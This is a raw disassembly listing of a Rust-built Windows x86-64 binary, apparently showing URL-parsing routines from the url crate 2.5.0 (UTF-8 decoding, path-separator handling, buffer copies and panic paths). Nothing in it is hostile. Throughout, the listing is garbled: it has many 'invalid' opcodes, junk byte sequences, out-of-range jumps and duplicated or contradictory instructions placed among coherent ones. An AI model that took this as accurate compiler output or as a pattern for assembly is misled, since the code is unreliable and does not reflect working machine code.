mov qword [rsp + 0xb8], rax
jmp 0x1400fc79f
mov rcx, rdi
mov r12, rdx
invalid
mov rdx, r13
mov r8, r14
call fcn.140108ba0
mov rdx, r12
mov r13, qword [rdi + 0x10]
jmp 0x1400fca55
lea rax, [0x140172fe0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140172950]
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.1401088e0
lea rax, [0x140172ff8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r14
xor r8d, r8d
call fcn.140108ac0
call fcn.140010970
mov ecx, 1
mov rdx, r14
call fcn.1401082a0
lea r8, [0x140172ad8]
mov ecx, 7
mov rdx, r12
call fcn.140108810
lea r8, [0x140172ad8]
mov rcx, r12
mov rdx, r9
call fcn.140108620
mov ecx, 1
mov edx, 2
call fcn.1401082a0
lea rax, [0x1401730a0]
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8, r12
mov r9, r13
call fcn.140108ac0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140108ac0
lea rcx, str.assertion_failed:_self.is_char_boundary_start_
lea r8, [0x140172b20]
mov edx, 0x2e
call fcn.140108630
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x140172b68]
mov edx, 0x2c
call fcn.140108630
int3
cmp r13, r14
je 0x1400fd1af
movzx r9d, byte [r13]
movzx ecx, r9b
test cl, cl
js 0x1400fcd80
inc r13
cmp ecx, 0xd
jbe 0x1400fce00
jmp 0x1400fce20
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r13 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fcdd7
movzx r8d, byte [r13 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fcdea
movzx ecx, byte [r13 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x1400fd1af
add r13, 4
cmp ecx, 0xd
stc
invalid
jbe 0x1400fce00
jmp 0x1400fce20
add r13, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x1400fce00
jmp 0x1400fce20
add r13, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja 0x1400fce20
nop dword [rax]
mov edx, 0x110000
bt eax, ecx
jae 0x1400fce20
cmp edx, 0x110000
je 0x1400fcd50
test byte [rdx], bh
invalid
invalid
invalid
test byte [rdx], bh
invalid
jmp 0x1400fce2e
mov edx, ecx
cmp edx, 0x110000
je 0x1400fcd50
cmp edx, 0x3e
jg 0x1400fce59
cmp edx, 0x23
je 0x1400fd235
cmp edx, 0x2f
je 0x1400fce67
cmp dword [rbx + 0x18], 0
mov byte [rsp + 0x77], r11b
je 0x1400fd30e
lea rax, [rbx + 0x1c]
jmp 0x1400fd31c
cmp edx, 0x3f
je 0x1400fd290
cmp edx, 0x5c
jne 0x1400fce41
mov byte [rsp + 0x77], r11b
xor eax, eax
mov ecx, 0x2600
add byte [rcx - 0x77], cl
hlt
mov rdx, rsi
cmp rdx, r14
jne 0x1400fcea9
jmp 0x1400fcf8f
mov r9d, r8d
cmp r9d, 0x110000
jne 0x1400fcf75
cmp rdx, r14
je 0x1400fcf8f
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400fced0
inc rdx
cmp r8d, 0xd
jbe 0x1400fcf60
jmp 0x1400fce90
invalid
mov r9d, r8d
and r9d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400fcf2c
movzx r10d, byte [rdx + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp r11b, 0xf0
invalid
jb 0x1400fcf45
invalid
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl ecx, 0x12
shl ecx, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400fcf8f
add rdx, 4
cmp r8d, 0xd
jbe 0x1400fcf60
jmp 0x1400fce90
add rdx, 2
shl r9d, 6
or r9d, ebp
mov r8d, r9d
cmp r8d, 0xd
jbe 0x1400fcf60
invalid
and cl, ch
invalid
jmp 0x1400fce90
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
ja 0x1400fce90
nop dword [rax]
mov r9d, 0x110000
bt ecx, r8d
jb 0x1400fce93
jmp 0x1400fce90
cmp r9d, 0x5c
je 0x1400fcf81
cmp r9d, 0x2f
jne 0x1400fcf8f
inc eax
mov r12, rdx
cmp rdx, r14
jne 0x1400fcea9
cmp eax, 1
jbe 0x1400fd1ea
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x1400fd167
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x78], r15
mov rax, qword [rdi + 0x38]
mov qword [rsp + 0xc8], rax
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
imul ebx
invalid
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
imul ebx
invalid
lea eax, [r13 - 9]
cmp eax, 2
jae 0x1400fd0a7
cmp r15, r14
je 0x1400fd108
movzx edx, byte [r15]
movzx r13d, dl
test r13b, r13b
js 0x1400fd030
inc r15
cmp r13d, 0x2e
jle 0x1400fcff0
jmp 0x1400fd0d0
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x1400fd08e
movzx ecx, byte [r15 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
cli
invalid
jb 0x1400fd0b3
cli
invalid
movzx r13d, byte [r15 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x1400fd108
add r15, 4
cmp r13d, 0x2e
jle 0x1400fcff0
jmp 0x1400fd0d0
add r15, 2
shl eax, 6
or eax, r8d
mov r13d, eax
cmp r13d, 0x2e
jle 0x1400fcff0
jmp 0x1400fd0d0
cmp r13d, 0xd
je 0x1400fcffd
jmp 0x1400fd108
add r15, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
cmp r13d, 0x2e
jle 0x1400fcff0
nop dword [rax]
cmp r13d, 0x2f
je 0x1400fd0e9
cmp r13d, 0x110000
je 0x1400fcffd
cmp r13d, 0x5c
jne 0x1400fd108
mov rcx, rbp
mov edx, r13d
call fcn.1400f6c10
cmp r13d, 0x2f
je 0x1400fcffd
cmp r13d, 0x5c
je 0x1400fcffd
mov rax, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov bpl, 1
cmp qword [rsp + 0x90], 2
jne 0x1400fd134
movzx ecx, word [r8]
cmp ecx, 0x2f2f
setne bpl
test rax, rax
mov r15, qword [rsp + 0x78]
je 0x1400fd14d
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
mov rcx, qword [rsp + 0xd0]
je 0x1400fd167
mov dl, 3
mov rax, qword [rsp + 0xc8]
call qword [rax + 0x28]
mov ebp, dword [rbx + 0x2c]
mov r13d, ebp
mov rdx, qword [rbx + 8]
inc r13d
je 0x1400fd53b
mov rax, qword [rbx + 0x10]
cmp rax, r13
jbe 0x1400fd535
cmp byte [rdx + r13], 0xbf
jg 0x1400fd53b
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r13
call fcn.140108ac0
cmp dword [rbx + 0x20], 0
je 0x1400fd2d3
mov r14d, dword [rbx + 0x24]
mov rdx, qword [rbx + 8]
test r14, r14
je 0x1400fd496
mov rax, qword [rbx + 0x10]
cmp rax, r14
jbe 0x1400fd661
cmp byte [rdx + r14], 0xbf
jle 0x1400fd667
mov r12, r15
jmp 0x1400fd2de
mov qword [rsp + 0x78], r15
mov r15d, dword [rbx + 0x3c]
mov rdx, qword [rbx + 8]
test r15, r15
je 0x1400fd387
invalid
xchg dword [rcx], eax
add byte [rax], al
test byte [rdi + 0x48000001], al
mov eax, dword [rbx + 0x10]
mov rax, qword [rbx + 0x10]
cmp rax, r15
jbe 0x1400fd381
cmp byte [rdx + r15], 0xbf
jg 0x1400fd387
invalid
add byte [rax - 0x73], cl
or eax, 0x75c09
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r15
call fcn.140108ac0
add byte [rax], al
add byte [rax], al
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
xor byte [rdi], cl
sub dword [rsp + 0xb0], ebx
xor byte [rdi], cl
sub dword [rsp + 0xb0], ebx
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8, rbx
mov r9, rsi
call fcn.1400fdbc0
xor eax, 0xe9000009
jno 0x1400fd296
add byte [rax], al
xor eax, 0xe9000009
jno 0x1400fd296
add byte [rax], al
cmp dword [rbx + 0x18], 0
mov byte [rsp + 0x77], r11b
pop rsp
and al, 0x77
je case.0x140031ef2.3189
lea rax, [rbx + 0x1c]
mov r9d, dword [rax]
mov rdx, qword [rbx + 8]
test r9, r9
je 0x1400fd369
mov r12, qword [rbx + 0x10]
cmp r12, r9
jbe 0x1400fd515
invalid
add byte [rdx - 0x80], al
cmp al, 0xa
mov edi, 0x2508e0f
add byte [rax], al
cmp byte [rdx + r9], 0xbf
jle 0x1400fd51b
mov r12, r9
jmp 0x1400fda11
mov r12, r15
mov rdx, qword [rbx + 8]
mov r14, qword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jae 0x1400fd4a0
mov rcx, rdi
mov rsi, rdx
mov rdx, r15
mov r8, r14
call fcn.140108ba0
mov rdx, rsi
mov r15, qword [rdi + 0x10]
jmp 0x1400fd4a0
cmp dword [rbx + 0x20], 0
je 0x1400fd684
test byte [rbx + rax], ch
invalid
test byte [rbx + rax], ch
add byte [rax - 0x73], cl
and al, 0x44
mov esp, dword [rax]
lea rax, [rbx + 0x24]
mov r12d, dword [rax]
mov r13, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
test r12, r12
mov qword [rsp + 0x78], rdx
je 0x1400fd375
cmp rdx, r12
jbe 0x1400fd507
cmp byte [r13 + r12], 0xbf
jg 0x1400fd691
jmp 0x1400fdb96
cmp dword [rbx + 0x20], 0
je 0x1400fda09
lea rax, [rbx + 0x24]
mov r9d, dword [rax]
mov rdx, qword [rbx + 8]
test r9, r9
jne 0x1400fd2b3
invalid
invalid
invalid
mov r13, qword [rdi + 0x10]
xor r12d, r12d
jmp 0x1400fda24
mov rbp, qword [rdi + 0x10]
xor r12d, r12d
jmp 0x1400fd6a4
jne 0x1400fd218
xchg ecx, eax
invalid
mov rsi, qword [rdi]
mov r12, qword [rdi + 0x10]
mov rax, rsi
sub rax, r12
cmp rax, r15
jb 0x1400fdb3c
mov rbp, qword [rdi + 8]
lea rcx, [r12 + rbp]
outsd dx, dword [rsi]
or byte [rcx - 0x73], cl
or al, 0x2c
mov r8, r15
call fcn.140106530
add r12, r15
mov qword [rdi + 0x10], r12
cmp r12, rsi
hlt
jne 0x1400fd3c9
invalid
hlt
adc byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.1400ba070
mov rbp, qword [rdi + 8]
mov r12, qword [rdi + 0x10]
mov byte [rbp + r12], 0x2f
inc r12
mov qword [rdi + 0x10], r12
mov byte [rsp + 0x80], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x80]
mov rcx, rdi
movzx ebp, byte [rsp + 0x77]
mov edx, ebp
mov r9, r15
call fcn.1400f9f40
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r9d, dword [rbx + 0x2c]
mov ecx, dword [rbx + 0x30]
mov r8d, dword [rbx + 0x34]
mov eax, dword [rbx + 0x34]
mov eax, dword [rbx + 0x34]
mov r10d, dword [rbx + 0x38]
lea r11, [rbx + 0x40]
movzx esi, word [rbx + 0x28]
movzx edi, word [rbx + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov dword [rsp + 0x50], r15d
jl 0x1400fd48a
push rax
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x80]
add byte [rax], al
mov rcx, qword [rsp + 0x78]
jmp 0x1400fd9fc
mov r12, r15
mov r15, qword [rdi + 0x10]
xor r14d, r14d
mov rcx, qword [rdi + 8]
add rcx, r15
stc
stc
mov r8, r14
call fcn.140106530
add r15, r14
mov qword [rdi + 0x10], r15
mov dword [rdi + 0x10], edi
mov dword [rdi + 0x10], edi
mov eax, dword [rbx + 0x3c]
movups xmm0, xmmword [rdi]
movups xmmword [r12], xmm0
mov qword [r12 + 0x10], r15
mov rcx, qword [rbx + 0x18]
mov qword [r12 + 0x18], rcx
mov dword [r12 + 0x20], 0
add byte [rbx - 0x76bed7b5], cl
and al, 0x28
add byte [rbx - 0x76bed7b5], cl
and al, 0x28
movups xmm0, xmmword [rbx + 0x2c]
movups xmmword [r12 + 0x2c], xmm0
mov dword [r12 + 0x3c], eax
movzx eax, byte [rbx + 0x50]
mov byte [r12 + 0x50], al
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [r12 + 0x40], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400fdb01
jne 0x1400fdb96
mov r12, rdx
jmp 0x1400fd691
je 0x1400fda11
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r12
xor r8d, r8d
call fcn.140108ac0
jne 0x1400fd192
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, r13
jb 0x1400fdb15
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, r13
call fcn.140106530
add rbx, r13
mov qword [rdi + 0x10], rbx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r14
lea rcx, [0x140172ee0]
lea r8, [rsp + 0x80]
mov edx, 2
call case.0x1400dbe39.240
test al, al
je 0x1400fd5fe
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], ecx
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x28], ebp
movzx eax, byte [rsp + 0x77]
and al, 0x77
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x80]
mov rcx, r15
call fcn.1400f83f0
jmp 0x1400fdb01
mov rax, qword [rdi + 0x40]
mov eax, dword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
pushfq
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], edx
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
add byte [rax], al
mov dword [rsp + 0x28], ebp
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8, r12
mov r9, r14
loopne 0x1400fd6a2
mov ecx, esi
call fcn.1400f83f0
jmp 0x1400fdb01
je 0x1400fd1e2
lea rcx, [0x140172f30]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140108ac0
mov r13, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov qword [rsp + 0x78], r12
adc byte [rcx + rcx*4 + 0x64], cl
and al, 0x78
mov rax, qword [rdi]
mov rbp, qword [rdi + 0x10]
sub rax, rbp
call 0x14ff00feb
invalid
invalid
add al, 0
invalid
call 0x14ff00feb
invalid
add byte [rax], al
mov rcx, qword [rdi + 8]
add rcx, rbp
mov rdx, r13
mov r8, r12
call fcn.140106530
or byte [rax + 1], cl
jmp 0x18dfa5ffb
add rbp, r12
mov qword [rdi + 0x10], rbp
mov r12d, dword [rbx + 0x3c]
mov rcx, rdi
stc
movzx edx, byte [rsp + 0x77]
mov r8, r12
mov eax, esp
mov eax, esp
loopne 0x1400fd6b5
call fcn.1400feba0
mov rax, rsi
cmp qword [rdi + 0x10], r12
adc byte [rdi], cl
test dword [rax + 1], esi
add byte [rax], al
adc byte [rdi], cl
test dword [rax + 1], esi
add byte [rax], al
mov r9d, dword [rbx + 0x2c]
test r9, r9
test ecx, ecx
test ecx, ecx
mov rdx, qword [rsp + 0x78]
mov edx, dword [rsp + 0x78]
push rsp
and al, 0x78
je 0x1400fd712
cmp rdx, r9
jbe 0x1400fd710
cmp byte [r13 + r9], 0xbf
jg 0x1400fd712
jl case.0x1400dc47a.482
add byte [rdi - 0x72b7e681], bh
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
add eax, 0x75728
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r13
xor r8d, r8d
call fcn.140108ac0
invalid
add byte [rbp - 0x19], dh
jne 0x1400fd6f9
mov rcx, r13
mov ecx, ebp
mov rdx, r9
call fcn.1400fde70
cmp al, 2
add cl, byte [rdi]
test edi, ebp
add byte [rax], al
invalid
retf 0x53e8
add cl, byte [rdi]
test edi, ebp
add byte [rax], al
add byte [rax + 0x2600], bh
mov eax, 0x2600
mov rcx, rsi
mov ecx, esi
jmp 0x1400fd73f
mov r8d, edx
rol byte [rcx - 0x7f], 1
clc
add byte [rax], al
add byte [rcx], dl
invalid
cmp r8d, 0x110000
cmp eax, 0x110000
add byte [rcx], dl
add byte [rdi], cl
test ebp, edx
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
jne 0x1400fd814
cmp rcx, r14
je 0x1400fd837
test bh, ch
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r10d, byte [rcx]
adc dword [rcx + 0xf], eax
mov dh, 0xd2
invalid
movzx edx, r10b
rol byte [rdx + rdx*8 - 0xb7e388], cl
rol dword [rbx - 0x79f0f206], 0xa0
add byte [rax], al
add bl, ch
int 0x66
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test dl, dl
js 0x1400fd770
inc rcx
cmp edx, 0xd
jbe 0x1400fd800
jmp case.0x1400db850.490
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
jrcxz 0x1400fd7bf
jrcxz 0x1400fd7bf
invalid
cmp dl, 0xdf
jbe 0x1400fd7ca
movzx r9d, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
cli
invalid
jb 0x1400fd7e2
cli
invalid
movzx r10d, byte [r9 + 3]
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400fd837
add rcx, 4
cmp edx, 0xd
jbe 0x1400fd800
add al, 0x83
cli
or eax, 0x65e93b76
jmp case.0x1400db850.490
invalid
add rcx, 2
add ecx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400fd800
jmp case.0x1400db850.490
add rcx, 3
add ecx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
ja case.0x1400db850.490
nop dword [rax]
mov r8d, 0x110000
bt eax, edx
jb 0x1400fd732
jmp case.0x1400db850.490
mov rax, r12
cmp qword [rdi], r12
jne 0x1400fd828
mov rcx, rdi
call fcn.1400ba070
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2f
inc rax
mov qword [rdi + 0x10], rax
mov rax, rsi
jmp case.0x1400dc507.399
mov edx, ecx
cmp edx, 0x110000
jne 0x1400fd92a
cmp rax, r14
je 0x1400fd943
movzx r9d, byte [rax]
movzx ecx, r9b
test cl, cl
js 0x1400fd880
inc rax
cmp ecx, 0xd
jbe 0x1400fd910
jmp 0x1400fd840
add byte [rcx + 0x1fe283ca], cl
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [rax + 1]
movzx edx, byte [rax + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fd8d5
movzx r8d, byte [rax + 2]
shl r10d, 6
add al, byte [rcx - 0x3f]
loop 0x1400fd8a2
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fd8eb
rol byte [rcx - 0x80], 1
stc
invalid
movzx ecx, byte [rax + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
invalid
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
adc dword [rax], eax
je 0x1400fd943
add rax, 4
cmp ecx, 0xd
jbe 0x1400fd910
invalid
jmp 0x1400fd840
jmp 0x1400fd840
invalid
add rax, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x1400fd910
jmp 0x1400fd840
push rbp
invalid
add rax, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja 0x1400fd840
invalid
invalid
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rdx + 0x110000], bh
mov edx, 0x110000
mov r8d, 0x2600
bt r8d, ecx
jb 0x1400fd842
invalid
invalid
invalid
jmp 0x1400fd840
cmp edx, 0x2f
jne 0x1400fd943
mov byte [rsp + 0x80], 1
add byte [rax], al
add byte [rcx], al
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
sub byte [rax - 0x77], cl
and al, 0x20
jmp 0x1400fd955
mov byte [rsp + 0x80], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x80]
mov rcx, rdi
movzx ebp, byte [rsp + 0x77]
mov edx, ebp
invalid
mov r9, r12
call fcn.1400f9f40
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r9d, dword [rbx + 0x2c]
mov ecx, dword [rbx + 0x30]
mov r8d, dword [rbx + 0x34]
mov r10d, dword [rbx + 0x38]
lea r11, [rbx + 0x40]
movzx esi, word [rbx + 0x28]
movzx edi, word [rbx + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x80]
mov rcx, r15
invalid
mov r8d, ebp
call fcn.1400fb120
jmp 0x1400fdb01
mov rdx, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov rax, qword [rdi]
mov r13, qword [rdi + 0x10]
sub rax, r13
cmp rax, r12
jb 0x1400fdb73
mov rcx, qword [rdi + 8]
add rcx, r13
mov r8, r12
call fcn.140106530
add r13, r12
mov qword [rdi + 0x10], r13
mov ebp, dword [rbx + 0x2c]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x80]
mov rdx, rdi
movzx r8d, byte [rsp + 0x77]
mov r9d, ebp
call fcn.1400fe540
mov eax, dword [rsp + 0x80]
cmp eax, 2
jne 0x1400fdab2
movzx eax, byte [rsp + 0x84]
mov byte [r15 + 8], al
movabs rax, 0x8000000000000000
mov qword [r15], rax
cmp qword [rdi], 0
je 0x1400fdb01
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
retf 0x847
add byte [rcx], dh
ror byte [rax - 0x7f], cl
invalid
fadd dword [rax]
add byte [rax], al
retf 0x847
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x158ae
and eax, 0x158ae
mov ecx, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x84]
mov r8, qword [rdi + 0x10]
adc byte [r13 - 0x77], r9b
adc byte [r15], r9b
adc byte [rdi], al
adc byte [r13 - 0x77], r9b
adc byte [r15], r9b
adc byte [rdi], al
movups xmmword [r15], xmm0
mov dword [r15 + 0x18], eax
mov qword [r15 + 0x1c], rdx
mov dword [r15 + 0x24], ecx
and al, 0x8b
sub byte [r9 - 0x77], al
sub byte [r9 - 0x77], r8b
outsd dx, dword [rsi]
sub al, 0xf
adc byte [rbx + 0x30], al
and al, 0x8b
sub byte [r9 - 0x77], al
sub byte [r9 - 0x77], r8b
outsd dx, dword [rsi]
sub al, 0xf
adc byte [rbx + 0x30], al
movups xmmword [r15 + 0x30], xmm0
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [r15 + 0x40], xmm0
movzx eax, byte [rbx + 0x50]
mov byte [r15 + 0x50], al
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov qword [rsp + 0x78], r15
mov r15, rdx
mov rdx, rbx
mov r8, r13
call fcn.140108ba0
mov rdx, r15
mov r15, qword [rsp + 0x78]
mov rbx, qword [rdi + 0x10]
jmp 0x1400fd54e
mov rcx, rdi
mov rsi, rdx
mov rdx, r12
mov r8, r15
call fcn.140108ba0
mov rdx, rsi
mov rsi, qword [rdi]
mov r12, qword [rdi + 0x10]
jmp case.0x14002a2ab.3240
invalid
invalid
invalid
mov rcx, rdi
mov rdx, rbp
mov r8, r12
call fcn.140108ba0
mov rbp, qword [rdi + 0x10]
jmp 0x1400fd6a4
mov rcx, rdi
mov rbp, r15
mov r15, rdx
mov rdx, r13
mov r8, r12
call fcn.140108ba0
mov rdx, r15
mov r15, rbp
mov r13, qword [rdi + 0x10]
jmp 0x1400fda24
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
xor r8d, r8d
xor eax, eax
xor eax, eax
mov r9, r12
call fcn.140108ac0
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r15, r9
mov rbx, rdx
mov rsi, rcx
mov r12, qword [rsp + 0xa0]
add byte [rax], al
add byte [rcx - 0x7d], al
js 0x1400fdc05
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
add byte [rax], al
add byte [rcx - 0x7d], al
js 0x1400fdc05
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
je 0x1400fdc13
